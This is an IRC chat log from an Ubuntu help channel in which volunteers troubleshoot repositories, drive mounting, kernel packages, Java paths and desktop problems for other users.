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Madpilot!repos12:00
uboturumour has it, repos is at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/96912:00
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Madpilottdn_: the 2nd url above ^^^ is an 'official' sources.list - cut and paste that, you'll be fine12:00
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tdn_maddler, ok. Thanks. I'll just edit my sources.list from the one in the pastebin and then run apt-get update and then synaptic again?12:01
intelikeyeeeek  i saved a webpage and now the dl manager is covering all the control buttons so i can't even close ff      ub 5.04   xfce4    any way to close the dlm without killind the gui ?12:01
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Madpilottdn_: you can update from inside Synaptic - hit the Reload button12:01
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Popeyej0ax12:01
Popeyecuanta pea12:01
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puffHm, so "apt-cache search ip2200" turns up nothing... what next?12:02
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Madpilotpuff: are you looking for printer drivers? (Canon ip2200?)12:03
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tdn_Madpilot, ok. Nice. Im not used to all this graphic stuff :)12:03
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|Imp|puff, wifi drivers?12:03
Madpilottdn_: you can actually do all the sources.list stuff right inside Synaptic as well12:03
puffMadpilot: Nah.  |Imp| Yah.12:03
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|Imp|puff, look up the windows drivers12:03
puffhm, according to this ubuntuforums.com post, it's in "the monster linux-image package"12:03
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|Imp|they don't make linux drivers12:03
|Imp|you'll need to set up ndiswrapper12:03
Madpilotubotu tell tdn_ about synaptic12:04
puff|Imp|: There's a sourceforge port for ipw2200.12:04
intelikeywhat is /usr/lib/gamin/gam_server ?12:04
|Imp|really?12:04
|Imp|i feel like a moron now then12:04
theinepuff, was your card working before by the way?12:04
puffhttp://ubuntuforums.org/archive/index.php/t-32099.html12:04
|Imp|i spent hours setting up ndiswrapper for ubuntu12:04
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pufftheine: Yup, worked just fine out of the box, worked too well, the problem was both the wirelss and the wire were coming up and the wireless dhcp was taking priority.12:04
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theine|Imp|, actually, ipw2200 drivers are included in the official Ubuntu kernel as far as I know12:05
puffSo I had to ifdown it every time I resumed.12:05
robotgeekpuff: i swear i had seen the ipw2200 sources in my list before, doesn't show up now. maybe they come inbuilt in breezy!12:05
|Imp|hmm12:05
theinepuff, what do you mean priority?12:05
|Imp|maybe im thinking of the wrong i**220012:05
pufftheine: In the linux-image package, according to the dicsussion at the URL I just pasted.12:05
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intelikeyis there a way to move a window in xfce4 ?12:05
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NoUseintelikey gamin, its a file monitoring system12:05
pufftheine: I mean that the wireless router had a messed up dhcp server (long storY) and it was getting dhcp from the wireless router instead of from the wired router, and thus DNS was screwed up.12:06
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ArsonideHey my mouse just stopped working for no reason...any clues?12:07
tdn_Oh no! Now Synaptics gives me an error while trying to reload: http://paste.ubuntulinux.nl/1732.12:07
theinepuff, and you didn't want to hardcode the dns ip into /etc/resolv./conf i suppose?12:07
ArsonideThe laser is on...12:07
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ryguy1233NoUse: i dont think i have the recovery xp disk12:07
ArsonideSo it's definately plugged in.12:07
puffhm, so this leads me to wonder what other modules might need upgrading.12:07
theineresolv.conf12:07
robotgeekArsonide: connect and reconnect!12:07
pufftheine: nope.12:07
GoClickI accidentaly went [sudo mv /* ../]  while I was in /home/apache/htdocs/  and that's bad. I've got a LiveCD in the machine now but where does the live CD mount the first SATA device?12:07
ArsonideDoes this happen a lot?12:07
pufftheine: I tend to spend my time bouncing around between several different networks.12:07
thrushlook directly into the eye of the laser you should see an error code12:07
ArsonideWhat do you mean connect and reconnect?12:07
icewtanyone using kaffeine for digital television?12:08
robotgeekArsonide: first time i've heard this happen12:08
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theinepuff, so what did you do to reach the current state?12:08
NoUseryguy1233 try the XP book disk from bootdisk.com but I'm not sure if it has the repair stuff on it12:08
Stormx2Hey, just a quick question. I've install kubuntu-desktop (and all the KDE to go with it), but i've decided against using it. Is there an easy way to remove the KDE packages from my GNOME menu?12:08
robotgeekArsonide: ur mouse!12:08
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pufftheine: So, is there a way to get the linux-image package appropriate for my kernel?  I'm kinda worried other modules  might need upgrading as well.12:08
lJlolelwhat? mp3's play just by mousing over them? Linux is so cool12:08
NoUsetdn_ its pretty self explanitory, you have two sources that are the same, remove one12:08
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ryguy1233NoUse: do you think there is a chance someone will have posted it as a torrent?12:08
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theinepuff, what cpu do you have12:08
intelikeyapt uninstall comand ?    purge ?12:08
ArsonideStill doesn't work12:08
Arsonidenow the laser is on but very very dim12:08
NoUseryguy1233 people pirate windows? ;-)12:08
Stormx2ryguy1233: What do you want, boot disk?12:09
robotgeekArsonide: i am not sure what's wrong :(12:09
ArsonideI'll try restarting12:09
Arsonidebrb12:09
GoClickDoes the LiveCD mount the local hard drive anywhere?12:09
intelikeyonly remove i guess.12:09
robotgeekintelikey: apt-get remove <package>12:09
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pufftheine: I don't have the log file in front o fme at the moment (was keeping it elsewhere) but i followed the advice from folks here on upgrading my kernel.12:09
lunitikStormx2, if you don't want kubuntu at all... install 'debfoster' and run it... its in universe.12:09
ryguy1233Stormx2: yeah, is that also known as a recovery disk?12:09
Stormx2ryguy1233: Not sure, what do you want to do with it? Put it in your floppy drive and boot xp with it?12:10
lunitikStormx2, then just say no to all the contents of kubuntu-desktop... and it will all be removed from the system12:10
theinepuff, I would try `sudo apt-get install --reinstall linux-image-2.6.10-5-686'12:10
ryguy1233is there an easy way of send a message that beeps on the persons computer like you do for me?12:10
NoUseStormx2 he needs to fix his mbr12:10
Stormx2lunitik: Thanks a bunch ^_^12:10
puffso, hm, maybe i just need to apt-get reinnstall... yeah.12:10
puffcool, thanks.12:10
ryguy1233or is typing in their nick the easiest12:10
pufftheine: thanks.12:10
intelikeyhowto list all installed packages ?12:10
Stormx2ryguy1233: Include their name in it.12:10
theinepuff, unless you have a different cpou of course12:10
theinecpu12:10
lunitikintelikey, dpkg -l12:10
intelikeyty lunitik12:10
Stormx2NoUse: Surely install / reconfigure GRUB?12:10
lunitikintelikey, you likely want to do 'dpkg -l | less' though12:10
ryguy1233stormx2, i want to fix the mbr12:11
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NoUseStormx2 he has uninstalled Ubuntu so he just wants the XP boot loader back12:11
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intelikeyna the list is not that long   i might  | less lunitik12:11
ryguy1233oh he said it aleayd12:11
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Stormx2NoUse: Stuffed.12:11
Stormx2NoUse: Hmm12:11
confreyanybody using oregano, or geda?12:11
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Stormx2NoUse: Can he reinstall it from within XP?12:11
NoUseStormx2 I don't think so12:11
lunitikgrub-install /dev/hda12:12
NoUseryguy1233 google fixing XP mbr or something12:12
puffWarning: CPU frequency is 800000, cpufreq assumed 2133000 kHz.12:12
puffIn dmesg.12:12
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intelikeyonly 314 installed packages      that's a short list for a pinguin12:12
lunitikryguy1233, just add an XP entry into GRUB...12:12
lunitikryguy1233, GRUB > boot.ini  :/12:12
chumphriespuff: powernowd altering status?12:13
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ubuntuhello, im running ubuntu live on this xp box that just stopped booting... im trying to mount the drive with "mount -t ntfs /dev/hdb /mnt/drive/" but im getting an error.... how do i know if my hdd is blown?  am i even mounting it right?12:13
GoClickHow do I mount my Ubuntu install (pootched) from the live cd?12:13
lunitikactually... I guess I mean GRUB > NTBOOTMGR.EXE   :/12:13
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Stormx2http://support.microsoft.com/?kbid=307654 any use?12:13
BlissexGoClick: 'mount /dev/hda... /mnt/hda...' for example12:13
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NoUselunitik the linux partitions are gone, meaning no grub.conf12:13
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lunitikGoClick, mount /dev/hda2 /some/where/here12:13
moeenwhat's the default password for root ?12:14
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NoUse!tell moeen about root12:14
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lunitikNoUse, he can manually make grub boot windows...12:14
puffhttp://pastebin.com/34958212:14
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GoClickBlissex, lunitik it's a SATA drive but I think it's sda2, will it autodetect the format?12:14
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BlissexGoClick: yes.12:14
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lunitikGoClick, yes...12:14
puffintel pentium M processor 2.13Ghz12:14
GoClickIt says I need to specify filesystem stype :(12:15
GoClicksudo mount /sda2 /mnt/sda212:15
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theinepuff, linux-image-2.6.10-5-686 it is12:15
lunitikGoClick, bah... likely -t ext312:15
ArsonideAlright either the mouse or the USB port died, cause my PS2 wireless mouse works fine.12:15
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lunitiktheine, you really shouldn't tell people that... 'linux-image-2.6-686' would suffice...12:15
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GoClickwrong fstype12:16
lunitiktheine, hell... even 'linux-2.6' ... but never specific kernel...12:16
theinelunitik, damn it, i know there wass more to that...12:16
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kertratsHey, I was trying to download mplayer but the site seems to be down, anyone know anything about this?12:16
hanesi have an xp drive (hdb), and im mounting it like this " mount -t hfs /dev/hdc /mnt/drive/"... but its tellin me "mount: wrong fs type, bad option, bad superblock on /dev/hdb," what am i doing wrong?12:16
intelikeydpkg -l  shows "ii  xfce4-mcs-mana 4.2.1-1ubuntu1 Settings manager for Xfce4" but 'apt-get remove xfce4-mcs-mana'  yelds  "E: Couldn't find package xfce4-mcs-mana"   what's up with that ???12:16
theinelunitik, wait a minute, I didn't tell that12:16
NoUsehanes windows isn't hfs, ntfs12:17
lunitiktheine, will allow them to upgrade kernel without thinking about it... new users should do this as it lets them get kernel security upgrades etc...12:17
hanesNoUse, thanks, i did that too... same error.....12:17
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theinelunitik, why don't you try to follow the conversation before making comments like this12:17
intelikeyhanes -t ntfs  ?12:17
NoUsehanes try vfat12:17
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[t0rc] i'm trying to install libc6.deb and it's saying I have to kill gdm. I do so, and try from a black command line that comes up, and it still says I need to kill gdm...12:17
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theinelunitik, puff needs to reinstall the kernel-image12:18
intelikeyor even -t auto   maybe hanes12:18
hanesintelikey, yeah actually i just tried hfs in desperation./...12:18
crubehanes I think you should use /mount -t ntfs * *12:18
hanesmount: you must specify the filesystem type12:18
theinelunitik, so `sudo apt-get install --reinstall linux-image-2.6' won't do, now will it?12:18
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NoUsehanes try vfat12:18
crubeIf I remember right 200 and XP use ntfs12:18
crubeUsually12:18
lunitiktheine, you told him (puff) to install kernel-image-2.6.10-686 because his chip is fast enough... I miss anything?12:18
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Nevadoanyone here running breezy? I just updated to the latest usplash and it doesn't seem any different whatsoever, wondered if anyone else was experiencing the same?12:18
theinelunitik, yes, actually you did12:18
puffOkay, done.12:18
lunitiktheine, apt-get install linux-image-2.6-686 will12:19
puffDo i need to reboot for this to take effect?12:19
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hanesNoUse, tried that " mount -t vfat /dev/hdb /mnt/drive/12:19
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hanesmount: /dev/hdb: can't read superblock"12:19
lunitikpuff, yes12:19
|Imp|puff, probably12:19
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intelikey<hanes> i have an xp drive (hdb), and im mounting it like this " mount -t hfs /dev/hdc /mnt/drive/" <---- lol    cant mount the disk   mount a partition hanes :)12:19
NoUsehanes you have to provide mount with the partion, /dev/hdb112:19
crubehanes try to use ntfs instead of vfat12:19
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lunitik|Imp|, probably reboot for a kernel to take effect?12:19
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puff|Imp|: How  windowsy :-)  But i can see it for a kernel upgrade.12:19
|Imp|lunitik, i wasn't sure if he was reffering to JUST the kernel12:19
Homerrrcemc12:19
Homerrrubuntus booting :)12:20
theinelunitik, since when do meta-packages reinstall their dependencies?12:20
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lunitikpuff, nah... kernel is the only thing you must reboot for   :)12:20
Homerrrbah hes not here12:20
intelikeymount -t ntfs /dev/hdc<partition_number> <mount_point>12:20
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ompaulHomerr, yippee12:20
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LittleWoodenBoyhey there, can somebody help me, i've just installed the cvs version of enlightenment but kdm is telling me that my xsession is now invalid, my /usr/share/xsessions/enlightenment.desktop looks like this: http://rafb.net/paste/results/NC4YG580.html12:20
Homerrrompaul hey :D12:20
hanesok, ive tried ntfs AND vfat and i get the same error, bad superblock....  but every time i put a number  i get mount: special device /dev/hdb1 does not exist12:20
ryguy1233nouse, do you know seveas?12:20
lunitiktheine, he currently probably has a -383 kernel... linux-image-2.6-686 would install the latest -686 kernel...12:20
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intelikeymount -t ntfs /dev/hdc<partition_number> <mount_point>12:21
Homerrri put my old 80gb drive in there, and disconnected everything bar the dvdrw12:21
lunitik386*12:21
intelikeyhanes ^12:21
Homerrrinstalled ubuntu to it12:21
NoUseryguy1233 I've seen him on here12:21
Homerrrand yay im watching it unpack packages12:21
DaDeadis there anywat to net install Ubuntu? im trying to get away from gentoo now12:21
ompaulHomerr, I was off doing stuff for a couple of hours, all legal and involved cars shops wife and DVD12:21
crubehanes try /dev/hda1 instead of hdb12:21
DaDeadaqap12:21
moeenUbuntu APT sources don't contain MC ?12:21
lunitik!install12:21
ubotulunitik: NO SPEAKE ENLISH!12:21
lunitik!installguide12:21
ubotulunitik: I'm not sure, is it larger than a breadbox?12:21
NoUsemoeen what is MC?12:21
hanescrube, mount: special device /dev/hda1 does not exist12:21
lunitik!botslap12:21
ubotulunitik: No idea12:21
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moeenNoUse, Midnight Commander12:21
ryguy1233i believe he was the one that told me to use the fdisk/mrb option from the win98 boot disk12:21
LittleWoodenBoyanyone got an idea how i fix my enlightenment xsession?12:21
NoUsehanes hdb, hda12:22
ompaul!lart lunitik12:22
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ryguy1233do you think that would be a wise idea?12:22
NoUsehanes sorry, hdb1, not hda112:22
ryguy1233i mean the first time it didnt work for me but i think its becuase i didnt format the floppy or something12:22
hanesNoUse, mount: special device /dev/hdb1 does not exist12:22
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ompaulHomerr, there is a greater satisfaction, that is when you do fdisk -L and there is no ntfs :)12:22
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hanesim int the devive manager.. it says there is a hdb.....12:23
Homerrrompaul haha12:23
hanesdevice12:23
moeenI must add Debian Sources to install MC (Midnight Commander) ?12:23
lunitikDaDead, https://wiki.ubuntu.com/Installation/Netboot12:23
DaDeadwoot, thanks12:23
NoUsemoeen not a good idea to mix debian and ubuntu sources12:23
Daywalker_mhh whats the sense of apci cpu throttling?12:23
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Seveasmoeen, no12:23
tdn_How do I set my default term to be Eterm in stead of this gnome-terminal thingy?12:23
Seveas!info mc12:23
ubotumc: (Midnight Commander - a powerful file manager), section universe/utils, is optional. Version: 1:4.6.0-4.6.1-pre1-3ubuntu1 (hoary), Packaged size: 1912 kB, Installed size: 5340 kB12:23
crubehanes, try "/mount -t ntfs /dev/hda1 /mnt/drive"12:23
ryguy1233seveas! hey12:24
ompaulDaywalker_, battery saving heat reduction12:24
Pr1muZim having this problem with limewire its giving me a path error with java12:24
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Seveashry ryguy123312:24
NoUsehanes run sudo fdisk -l /dev/hdb and put the output in pastebin12:24
ryguy1233how are you?12:24
pufflunitik: Wait, so you're saying I *don't* have to reboot for this linux-image reinstall to take effect?12:24
lunitikubotu, installguide is for instructions on several boot methods, try https://wiki.ubuntu.com/Installation/12:24
ubotulunitik: okay12:24
Pr1muZStarting LimeWire...12:24
Pr1muZJava exec not found in PATH, starting auto-search...12:24
Pr1muZls: /usr/lib/j*: No such file or directory12:24
Pr1muZOOPS, unable to locate java exec in  /usr/lib/  hierarchy12:24
Pr1muZYou need to upgrade to JRE 1.4.x or newer from http://www.java.com12:24
Pr1muZJava exec found in  /usr/java/jre1.5.0_04/bin/12:24
NoUse!tell hanes about pastebin12:24
Pr1muZOOPS, you don't seem to have a valid JRE. LimeWire works best with Sun JRE available at http://www.java.com  [/usr/java/jre1.5.0_04/bin/java = Error] 12:24
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lunitik!installguide12:24
ubotuinstallguide is, like, totally, for instructions on several boot methods, try https://wiki.ubuntu.com/Installation/12:24
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Daywalker_ompaul, I have it at 62% but my heat is still at 58C...12:24
SeveasDO NOT PASTE IN HERE12:24
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DaDeadaw no cd net boot12:24
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intelikeyyeah crube i think hanes was trying to mount a disk and not a partition on the disk12:24
lunitikpuff, yes you do.12:24
moeenSeveas, how can I install MC then ?12:24
GoClickThanks Blissex, lunitik12:24
crubeintelikey,  he said it's an XP partition.12:25
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hanesNoUse, i dont see any output from that at all....12:25
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Seveasmoeen, enable universe12:25
pufflunitik: Ah-hah.12:25
Seveas!repos12:25
lunitikGoClick, No problem  :)12:25
uboturepos is probably at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/96912:25
intelikeycrube nm12:25
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ompaul!tell moeen about repos12:25
Seveas^-- moeen12:25
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Daywalker_lunitik, do you need floppy disk network install=12:25
ompauldoh!12:25
hanesintelikey, that was because every time i put a number after it it says no partition12:25
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zum1rpi didnt fucking know, it doesnt say not to anywhere12:25
zum1rpyou got to freak out and ban me?12:25
ompaul!conduct12:25
ubotuconduct is probably http://www.ubuntulinux.org/community/conduct/document_view12:26
theinepuff, could you check what directories you have under /lib/modules now?12:26
keithi have a weird problem when trying to install the sun package for java- i find it in the synaptic package manager, but it sayst his when attempting to install:12:26
zum1rpoh12:26
zum1rpnevermind12:26
keithE: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline12:26
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zum1rpx;12:26
intelikeyhanes i don't think you will have any luck mounting /dev/hd<letter-only>   :)12:26
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Stormx2who the hell told me to do debfoster!12:26
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lunitikDaywalker_, no12:26
ryguy1233seveas, i dont know where we left off but some other people were helping me too... one told me to ues the ultimate boot cd and from that use the free fdisk and today i tried that and it didnt work and i dont know if told you this but when i tried the window98 boot disk it gave me the error, invalid system disk...12:26
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Daywalker_oh ok12:27
lunitikDaywalker_, all you actually need is the netinst CD's it points to...12:27
hanesintelikey, i know, just trying :)12:27
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intelikeyhanes you can do a  "fdisk -l "  and see where it is....12:27
ryguy1233do i need to use windows to format the floppy?12:27
puff2.6.10-5-386  2.6.10-5-68612:27
Daywalker_lunitik, I recently installed ubuntu on my laptop which just comes with a fdd12:27
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hanesintelikey,  fdisk -l prints out NOTHING12:27
keithactually whatever i install is reporting E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline12:27
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lunitikDaywalker_, ok... then you probably do  ;)12:27
NoUsehanes if you don't see any ouput then there are no partiions on that disk12:27
lunitikDaywalker_, if you have another system... you can do the LocalNet option it talks about...12:28
crubehanes,  are you sure you didn't accidently format your whole drive while installing ubuntu? O.o12:28
hanesNoUse,  oh ... so partitions sometimes disappear over night? :)12:28
intelikeyhanes in a console/terminal ?12:28
Daywalker_fdd install is really easy ;)12:28
NoUsehanes apparently12:28
hanesintelikey, yeah........12:28
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Daywalker_just 4 3"5 dics and its done :D12:28
intelikeytry it as roof.12:28
intelikeyroot12:28
hanescrube, no i didnt do that hah12:28
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pufftheine: but I had both of those before.12:28
Madpilotintelikey: roof? ;)12:28
crubehanes,  good :D I accidenly did that once. But then again its just windows :D12:29
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hanesintelikey, i am root...12:29
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zum1rphow does that past site work12:29
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zum1rppaste *12:29
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NoUsezum1rp there are intructions there12:29
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hanescrube, yeah,,, you know incidentally if there are any ubuntu volunteers here you should try and incorporate the drake (mandrake) partition app... it makes stuff liek this and a lot simpler... of course mandrakemove crapped out on this box so.....12:30
Stormx2Im gonna fucking kill ubuntu doing this...12:30
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Stormx2jesus12:30
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zum1rpno12:30
zum1rpdude12:30
zum1rpi used it12:30
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zum1rpi just dont know what to do now12:30
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lunitikStormx2, chill... no one will help you if you show ignorance...12:30
zum1rpwait?12:30
zum1rplol12:30
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Madpilotzum1rp: now post your pastebin URL here and tell ppl what's in it12:30
hanesanyways thanks for the help12:30
Stormx2lunitik: And i won't like you if my gnome menu fucks up ^_^;;12:31
hanesawesome product btw12:31
lunitikStormx2, wtf do I have to do with it?12:31
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zum1rphttp://paste.ubuntulinux.nl/d1734 errors when trying to run limewire, has to do with java and paths12:31
intelikeyhanes no your not root.....  if you try fdisk -l as root it will work, if you run it as a user it prints nothing...... hanes  i just tried it both ways.12:31
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kdekorteI upgraded my breezy build today and now in Xorg.0.log I am getting the error "RADEONDRIScreenInit failed because of version mismatch. [dri]  libDRI version is 5.0.0 but version 4.0.x is needed. [dri]  disabling DRI. Is this a know issue I am using the xorg radeon driver and NOT fglrx12:31
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Stormx2lunitik: Hmm, you were the one who suggested debfoster.12:31
Madpilotzum1rp: you've got the JRE installed? (it's not pre-installed with Ubuntu...)12:31
zum1rpyes its installed12:31
theinepuff, so which one where you using?12:31
lunitikzum1rp, do you have java installed? is 'java' in your path? (at least as a symlink)12:31
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syndshould the upgarde to breezy as easy as changing all instances of hoary in the sources.list to breezy and doing an apt-get update || apt-get dist-upgrade12:32
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Webby`Help! How do I get gtkPod to work? i get an error like this: TunesDB '/media/RY-RICOS IP/iPod_Control/iTunes/iTunesDB' does not match checksum12:32
lunitikStormx2, heh... debfoster shouldn't have broken anything if you said yes to ubuntu-base and ubuntu-desktop ...12:32
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zum1rpwhats the command to add it to path?12:32
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lunitikzum1rp, depends... where'd you put it?12:32
Stormx2lunitik: Yeh its almost worked12:32
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lunitikzum1rp, its easier to symlink though...12:33
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Stormx2lunitik: I just want to get rid of the "Debian" menu in my GNOME menu. Would SMEG do it?12:33
zum1rpi dont know what symlink is12:33
zum1rphow do i symlink12:33
lunitikStormx2, maybe... just remove 'menu' though...12:33
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intelikeyzum1rp man ln12:33
kdekortesymlink: ln -s [source]  [dest] 12:33
sickFLameguys is there another difference between ubuntu and kubuntu EXCEPT KDE ???12:33
ArsonideHey in Xchat my user information keeps resetting to my real name - is there any way to get it to save?12:33
Stormx2lunitik: ...how12:33
lunitikzum1rp, ln -s /where/java/bin/is /usr/bin/12:34
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crubesickFLame, I've noticed no difference. Been using both :P12:34
lunitikStormx2, use Synaptic ... the package 'menu' provides that crap Debian menu  :/12:34
NoUsesickFLame they are almost the same, its really just different install discs12:34
NoUsesickFLame you can install ubuntu and then apt-get instlal kubuntu-desktop and have kubuntu12:35
zum1rpok lunitik i did that, same error12:35
kdekorteAny idea why DRI on my machine broke after todays breezy update?12:35
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ColonelKernelif my room temperature is 82c, is it acceptable/stable to have an athlonXP barton 2500+ running at 57c under load? I want to be sure this box is stable for gaming.12:35
lunitikzum1rp, what did you type?12:35
kdekorteI have a libDRI version mismatch12:35
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sickFLamethanks for help !!!12:35
ColonelKerneli applied arctic silver to it and I have a copper heatsink on it, and the stock amd fan b/c its got good rpms on it12:35
zum1rpln -s /usr/java/jre1.5.0_04 /usr/bin/12:35
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theinezum1rp, I'd be careful with the `ln -s' command that lunitik gave you, as ln links relatively12:36
MadpilotColonelKernel: 82 C is unlikely as a room temp - did you mean 82 F?12:36
ColonelKernelbut im thinking 57c under load is kinda high even for an Athlon - at least if one wants stable functioning with games12:36
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lunitikzum1rp, grrr... no... ln -s /usr/java/jre1.5.0_04/bin/java /usr/bin/java12:36
lunitikzum1rp, probably12:36
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zum1rpsame erorr.12:36
crubeColonelKernel,  you using your computer in SAUNA?12:36
ColonelKernelmaddler, yes, my apologies, 82c and my house would be on fire12:36
zum1rperror *12:36
ColonelKernelMadpilot i mean12:36
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ColonelKernelGD I hate booting into windows partition12:36
pufftheine: I presume I was using the 2.6.10-5-686, but it'd be nice to be sure.  How do I check?12:36
theinepuff, uname -a12:37
puffAlso, I'd like to understand this error in dmesg:  Warning: CPU frequency is 800000, cpufreq assumed 2133000 kHz.12:37
lunitiktheine, I told him to say /usr/bin/ before... thus it would link inside that dir...12:37
ColonelKernelpuff, I think they have different versions of that out12:37
zum1rpso what was the other thing i could try?12:37
theinepuff, tells you other things too12:37
puffYup, uname -a says i'm using 2.6.10-5-686.12:37
MadpilotColonelKernel: 82 F = 27 C, if it's that hot I'd say that 57 C from your CPU isn't unreasonable12:37
puffColonelKernel: Different versions of?12:37
theinelunitik, sure12:37
lunitikzum1rp, $JAVADIR/bin/java is what you want to link to /usr/bin/   ...12:37
zum1rp/usr/java/jre1.5.0_04/bin to /usr/bin/12:38
zum1rpyeah12:38
Stormx2lunitik: I removed the menu package. Still there, mind.12:38
zum1rpi did that12:38
lunitikzum1rp, no12:38
ColonelKernelMadpilot, im looking specifically to see if that will hurt stability in game performance on the box12:38
theinepuff, right, and you did `sudo apt-get install -reinstall linux-image-2.6.10-5-686'?12:38
lunitik/usr/java/jre1.5.0_04/bin/java  :|12:38
Stormx2lunitik: I'll log off and on, see if that makes any difference.12:38
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crubeColonelKernel,  for the stability you just have to test it. but I don't think it'll be a problem12:39
ColonelKernelMadpilot, ut2004 and im gonn attempt msfs2004 with cedega12:39
pufftheine: Yeah, still haven't rebooted though, cleaning up some open files, sessions, etc.12:39
zum1rpnetadmin@ubuntu:~$ sudo ln -s /usr/java/jre1.5.0_04/bin/java /usr/bin/12:39
zum1rpln: `/usr/bin//java/java': File exists12:39
MadpilotColonelKernel: from what I've read, temp. stability is a very individual thing for computers - the only way to really know is to test the sucker12:39
zum1rpoops i wasnt suppose to paste that :X12:39
zum1rpsorry12:39
zum1rplol12:39
ColonelKerneldamn it12:39
Daywalker_how can I get the cpu load in percent via the shell?12:39
lunitikzum1rp, remove the file and do it again (from /usr/bin)12:39
theinepuff, ok, good luck12:39
ColonelKernelok then thanks12:39
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Stormx2Nope12:39
zum1rpremove which file12:39
lunitikzum1rp, you got the command right this time though  :D12:39
Stormx2"Debian" menu is still there.12:39
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zum1rplol12:40
lunitikzum1rp, /usr/bin/java12:40
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zum1rpok whats the command to do that12:40
ColonelKernelim doing the whole "heat up the arctic silver and then cool it off" deal now12:40
lunitikzum1rp, rm /usr/bin/java12:40
ColonelKernelwhen the room is cool the box runs @ 52 under load12:40
theinezum1rp, how did you actually install java?12:40
zum1rpyes12:40
zum1rpoh12:40
zum1rpuhh12:40
Stormx2lunitik: Removing the package "menu" didn't help...12:40
intelikeywhat is the smallest window manager i can get from the ubuntu sources ?       xfce4 not accepted(unusable)12:40
zum1rpi got a .rpg file alien'd it to a deb file dpkg'd config'd and made a make file12:40
lunitikzum1rp, then just hit up till you see that ln -s command and hit enter again...12:41
lunitikStormx2, it should have... strange...12:41
ColonelKernelI have this cpu fan that would make it significantly cooler but its SO loud, its like 54 decebels or something, so loud you couldnt take a nap in the same room with the thing12:41
zum1rplol12:41
ColonelKerneland thats unacceptable12:41
zum1rpi did the correct cmd12:41
zum1rpafter rm'ing the file12:41
zum1rpand get the same exact erorr12:41
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zum1rperorr *12:41
zum1rperrr12:41
zum1rperror *12:41
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Stormx2lunitik: The package has been completely removed and its still there :O12:41
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ColonelKernelthe fan pushes like 55cfm - as much as a bathroom vent fan, I couldnt beleive it12:41
ColonelKernelbut its unbeleivably loud12:42
MadpilotColonelKernel: I've heard good things about the big Zalman "flower" heatsinks, esp. the ones with 120mm fans, WRT being both cool and quiet12:42
Stormx2and to put on top of that I can't get smeg installed either.12:42
ColonelKernel7500 cfm too12:42
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Madpilotmight wind of getting one myself, because my CPU heatsink fan is by *far* the loudest fan in this box12:42
theinezum1rp, one option is to remove all the java stuff you installed this way and install it again from the hoary-extras repository12:42
Madpilot*wind up, even12:42
lunitikzum1rp, ugh... sudo rm -f /usr/bin/java ; sudo ln -s /usr/java/jre1.5.0_04/bin/java /usr/bin/12:42
ColonelKernelMadpilot, a new heatsink aint a possibility right now, besides ive got an all copper heatsink and arctic silver on it12:42
zum1rpi did12:42
zum1rpand12:42
ColonelKernelmaybe in a week12:42
zum1rpit couldn't find the package12:42
lunitikStormx2, after logging in and out?12:43
intelikey? question, what is the smallest window manager i can get from the ubuntu sources ?       xfce4 not accepted(unusable)       anyone ?12:43
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ompaulonly 68 users ..12:43
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Stormx2dude12:44
Stormx2what the fuck.12:44
ompaulnet split12:44
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Stormx2hmm?12:44
ompaulthe nice networks were all out of sync12:44
Stormx2oh12:44
Stormx2fair enough12:44
Stormx2that makes me in-sync12:44
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ompaulokay so kornbluth ain't so hot today12:46
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sk545hey, has anyone not been able to set brightness in xine-ui?12:49
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sunhi im using kino and i want to export to mpeg, but it says "mplex: command not found" what package is mplex in?12:51
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-NickServ(NickServ@services.)- This nickname is owned by someone else12:55
-NickServ(NickServ@services.)- If this is your nickname, type /msg NickServ IDENTIFY <password>12:55
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HiddenWolflunitik, could you play some file in totem for me, go fullscreen (press F), then move the mouse, and wait a bit. See if the UI goes away again?12:55
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!Md:*! sorry for the troubles. today's ircd upgrade was a bit toxic. I just downgraded the ircds on the hubs12:55
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lunitikHiddenWolf, I don't have any codecs installed right now...12:55
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ArsonideSo wait does this Cedega thing work with all windows games?12:56
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NoUseArsonide no12:56
crubeArsonide, no12:56
Arsonideoh12:56
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HiddenWolflunatic any file will do, I just want to know if the UI times out and goes away after a reasonable time.12:56
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lunitikHiddenWolf, I suppose now is as good a time as any to get them though... you got a while?12:56
crubeArsonide,  I think you cant find a list of working games from cedegas website12:56
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lunitikHiddenWolf, I don't have any media files...12:56
ArsonideYeah I saw it. It's pretty big though.12:56
lunitikArsonide, no12:56
Stormx2lunitik.... suggestions? :(12:56
Stormx2lunitik: I found something.12:57
lunitikStormx2, you fucked up pretty bad... how much are you against reinstalling?12:57
HiddenWolflunitik, you don't even need a file really12:57
intelikeymy xterm is broke for user   ;(12:57
Stormx2lunitik: Uhg12:57
crubeArsonide,  it is. MANY other games that dont need the newest direct x work too.12:57
Stormx2lunitik: Yeh I could do that12:57
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Arsonideow.12:57
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Stormx2i've had problems with GAIM not removing itself properly, too.12:57
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holycowheh, i guess the bot kids are getting tired of note being able to spam so they are flooding12:58
chrismywhat is this? bots?12:58
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lunitikHiddenWolf, Totem won't even start here... (gstreamer)12:58
Stormx2ADMN'PWND12:58
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HiddenWolflunitik, ok, never mind12:58
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Stormx2someone said something about a "net split"?12:58
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ArsonideXChat is not remembering my user name, it keeps trying to use my real name for IRC...and I don't like that, I don't see any options to make it automatically remember Arsonide.12:58
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Stormx2Stormx2: Apparently you guys arn't synced.12:58
chrismyanyone can help me with booting??12:58
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Stormx2chrismy: I can try.12:59
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Stormx2rofl.12:59
chrismyStormx2: oh thank you12:59
dbw:D12:59
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Stormx2chrismy: What is the problem?12:59
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crubeArsonide,  does this happen when you restart from the menu, and choose to save your desktop layout12:59
!Md:*! sorry for the troubles. today's ircd upgrade was a bit toxic01:00
chrismywell i had much problem for 24 hours already. and no one has the best solution01:00
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chrismyStormx2: it is like this......01:00
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Arsonidecrube, Don't know what that means, if I leave XChat and come back, it tries to use my real name, not Arsonide, and I have to type it in every time.01:00
crubeArsonide, ok I dont know what the problem is sorry01:01
Stormx2lunitik: Any way I can order breezy CDs when they come out? I have already ordered some, but when they came i lost the packaging and there was something about a number I can quote01:01
crubeArsonide,  I dont have my real name used anywhere in ubuntu so I dont have that problem01:01
Stormx2FUCK IT SOUTH PARK IS ON! BYE LOSERS!01:01
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lunitikStormx2, shipit.ubuntu.com01:01
